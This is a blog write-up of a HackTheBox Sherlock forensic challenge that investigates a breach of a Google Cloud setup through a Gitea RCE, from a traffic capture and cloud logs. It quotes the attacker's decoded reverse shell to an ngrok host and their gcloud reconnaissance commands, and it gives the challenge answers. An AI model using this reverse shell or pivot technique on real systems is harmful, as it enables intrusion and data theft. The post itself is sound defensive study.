HTB Sherlock: MisCloud

đź’ˇ
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. Are you ready to start the investigation?

Incident Details

Name: MisCloud
Category: DFIR
Difficulty: Medium (Solved)

My name is John. I am a student who started an e-commerce startup business named "DummyExample" with my partner, James. Initially, I was using WordPress and shared hosting. After experiencing good traffic, I decided to migrate from WordPress to a customized website on Google Cloud Platform (GCP). Currently, my partner and I are working on the website, contributing to a Gitea server hosted on GCP. I migrated all customer data to cloud storage. Recently, my data was breached, and I have no clue how it happened or what was vulnerable. My GCP infrastructure consists of five VM instances and a single Cloud Storage. There is one Windows machine for my partner to use, with very restricted permissions over GCP, only allowing access to his Gitea account. I have two Linux machines for my work, one for hosting the Gitea server and another for packet mirroring. All the machines have public IPs but very restricted access due to firewalls in place. Due to budget constraints, I can't use the Google Security Command Center service, so I am providing you with the VPC network traffic capture and the Google Cloud logs.

Evidences

> get-fileHash  *

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          52645C94618E364F52D33E090A03E73967C907CF5BD2F3FF1851DAF84EBFB9D0       GCloud_Logs.json
SHA256          F4E3AC83B3478E976148F1788C407547A841D529F2E6611DE46EBB210829DBAB       miscloud.zip
SHA256          E233A076D1830B5E8E83FDF82E9888A0B1A9F27B642D79467BB910DC5C3B5D83       VPCNetwork_Traffic.pcap

Analysis

Pretty nice description from our buddy John here 👍. Here is the initial map of the servers I've created.

Quick PCAP statistics in Wireshark:

We have some heavy TCP traffic, including TLS and SSH. Possible sensitive data exfiltration.

These are probably IPs of the servers (10.*.*.* private subnet). There is one another IP being a destination of a single packet.

*.*.*.255 is a broadcast IP and packet is a HostAnnouncement Browser Frame. And it looks like we got a log from the Windows 10 Server (10.128.0.3)

John’s credentials to the Gitea service.

In one of the first packages, we can see the version of Gitea used (1.2.0).

In packet 20213 suspicious response can be seen:

Hmm, the whole traffic there looks suspicious.

It seems like a threat actor uses some kind of vulnerability in Git or Gitea to expose the files on the server (like cusdata.xlsx.enc).

Another packet looks like an RCE.

Decoded base64 (reverse shell): bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14509 0>&1 &

Questions

01. What's the private IP address of the Windows machine?

Seen in the broadcast message: 10.128.0.3.

02. Which CVE was exploited by the threat actor?

Searching for the “Gitea 1.2.0 vulnerabilities” I landed at the CVEdetails

Because I’ve already seen the RCE I’m looking at those four from code executions category. This one looks like what we have here.

03. What is the hostname and port number to which the reverse shell was connecting?

Already discovered: 0.tcp.eu.ngrok.io:14509

04. From which IP address was the CVE exploited, and is this threat an insider or outsider attack?

Packet from which the revshell request originates from is sourced at 10.128.0.3. And it’s a private address, so “inside job”.

05. Which account helped the threat actor to pivot?

Let’s browse the revshell communication.

Here we can see the commands and responses in plaintext.

Packet 13385:
gcloud auth list

Packet 13392:

                  Credentialed Accounts
ACTIVE  ACCOUNT
*       257145238219-compute@developer.gserviceaccount.com

06. Which machines did the threat actor log into? (sorted alphabetically)

That requires more revshell analysis. At some point, we can see that threat actor creates an id_rsa key for SSH purposes and continues from the SSH (revshell traffic gets quieter).

Because question asks which machines being logged into - that is safely to assume that apart from “current” system (10.128.0.4 as stated in the revshell packets) there are other SSHed servers.
ip.src == 10.128.0.4 && ssh && ssh.protocol == "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"

Other revshell packet exposes all machines’ IPs.

$ gcloud compute instances list
NAME                    ZONE           MACHINE_TYPE  PREEMPTIBLE  INTERNAL_IP  EXTERNAL_IP    STATUS
gitea-vm                us-central1-a  e2-medium                  10.128.0.4   34.66.191.87   RUNNING
linux-machine1          us-central1-a  e2-medium                  10.128.0.7   34.42.164.212  RUNNING
linux-machine2          us-central1-a  e2-medium                  10.128.0.2   34.172.179.63  RUNNING
packet-mirror-instance  us-central1-a  e2-medium                  10.128.0.5   34.28.192.153  RUNNING
windows-machine         us-central1-a  e2-medium                  10.128.0.3   34.45.236.159  RUNNING

Unfortunately, gitea-vm is not accepted in the answer, despite being the first one in the chain - so the correct answer is
linux-machine1,linux-machine2,packet-mirror-instance

07. What's the original name of the sensitive file?

From the included Google Cloud Services logs:

08. Which gcloud role did the threat actor try to assign to the storage bucket to make it publicly accessible?

09. Which account led to the cloud storage data breach?

Searching for the exfiltrated file, leads to the principalEmail

10. Which port number was exploited by the attacker to exfiltrate data that is allowed by default ingress traffic rules in the default VPC network?

I think this one was already found as well in the packet 20213 - 3389 (it is default RDP port).

11. What is the key to decrypt the encrypted file?

This one is a bit of guessing… but it is what it is. HTTP Packet 18001 contains a Python script that was used to encrypt the file:

Another packet, 22604 contains the encrypted binary, which can be saved using File > Export > HTTP object.

When looking closer at the header of the file, it can easily be seen a repeatable phrase that could be an encryption key. After a couple tries, the platform accepts the correct answer.

12. What are the SSN and credit card numbers of "Founder John"?

Now that we have the encryption key, encryption method (symmetrical XOR) and encrypted data, we can put all of those together in CyberChef and get the decrypted spreadsheet.

The file then (so it won’t run it locally) can be previewed, for example on https://filehelper.com/formats/xlsx.

13, 14, 15

Last three questions are knowledge questions, answers for them can be Googled.

0
Subscribe to my newsletter

Read articles from Kamil Gierach-Pacanek directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Kamil Gierach-Pacanek
Kamil Gierach-Pacanek

Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.